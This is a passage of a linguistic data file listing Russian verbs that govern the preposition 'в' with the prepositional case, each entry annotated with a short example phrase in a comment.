rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
